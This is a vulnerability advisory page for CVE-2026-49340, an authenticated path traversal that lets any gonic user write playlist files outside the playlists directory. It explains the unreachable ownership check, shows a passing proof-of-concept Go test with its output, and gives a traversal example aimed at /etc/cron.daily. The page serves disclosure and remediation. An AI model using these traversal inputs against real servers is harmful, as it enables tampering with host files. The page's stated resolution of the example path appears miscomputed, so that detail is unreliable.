🛡️ CVE-2026-49340 — gonic
Description
gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host
Summary
A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.
The bug is independent of the playlist ownership IDOR fixed in [6dd71e6](https://github.com/sentriz/gonic/commit/6dd71e6): it is an unreachable guard clause combined with no path containment in Store.Write.
Root cause — unreachable guard clause
server/ctrlsubsonic/handlers_playlist.go:74-90:
```go
func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
user := r.Context().Value(CtxUser).(*db.User)
params := r.Context().Value(CtxParams).(params.Params)
playlistID, _ := params.GetFirstID("id", "playlistId")
playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded
var playlist playlistp.Playlist
if playlistPath != "" {
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// this condition is UNREACHABLE
playlist = *pl
}
}
if playlist.UserID != 0 && playlist.UserID != user.ID {
return spec.NewError(50, "you aren't allowed update that user's playlist")
}
...
```
playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).
So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.
Root cause — no path containment in Store.Write
playlist/playlist.go:146-160:
```go
func (s *Store) Write(relPath string, playlist *Playlist) error {
defer lock(&s.mu)()
if err := sanityCheck(s.basePath); err != nil {
return err
}
absPath := filepath.Join(s.basePath, relPath)
if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!
return fmt.Errorf("make m3u base dir: %w", err)
}
file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open
...
if err := file.Truncate(0); err != nil { // wipe existing
...
}
```
filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.
Live PoC — passing Go test
Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:
```go
package ctrlsubsonic
import (
"net/url"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
f := newFixture(t)
// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
// resolves under the parent <tmp> dir — escaping the playlists/ subtree.
traversalRel := filepath.Join("..", "injected.m3u")
traversalID := playlistIDEncode(traversalRel).String()
// f.alt is the NON-ADMIN user (ID=2).
resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
"id": {traversalID},
"name": {"injected-by-low-priv-user"},
})
t.Logf("resp: %+v", string(resp))
tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
target := filepath.Join(tmpDir, "injected.m3u")
stat, err := os.Stat(target)
require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
require.False(t, stat.IsDir())
contents, err := os.ReadFile(target)
require.NoError(t, err)
t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}
```
Test output against current master HEAD 6dd71e6:
```
=== RUN TestCreatePlaylistArbitraryWrite_RawPath
resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
"playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,
"owner":"alt","songCount":0,...}}}
VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u
#GONIC-NAME:"injected-by-low-priv-user"
#GONIC-COMMENT:""
#GONIC-IS-PUBLIC:"false"
--- PASS: TestCreatePlaylistArbitrar
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.
Weakness class
CVE-2026-49340 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
Affected software
CVE-2026-49340 is recorded against 2 packages.
- go.senan.xyz/gonic
- unknown
Timeline and source
Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| go.senan.xyz/gonic | — | — |
| unknown | — | — |
References
Similar Threats
- High CVE-2026-49338
- High CVE-2026-49339
Site Security Check
Is gonic part of your stack?
CVE-2026-49340 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.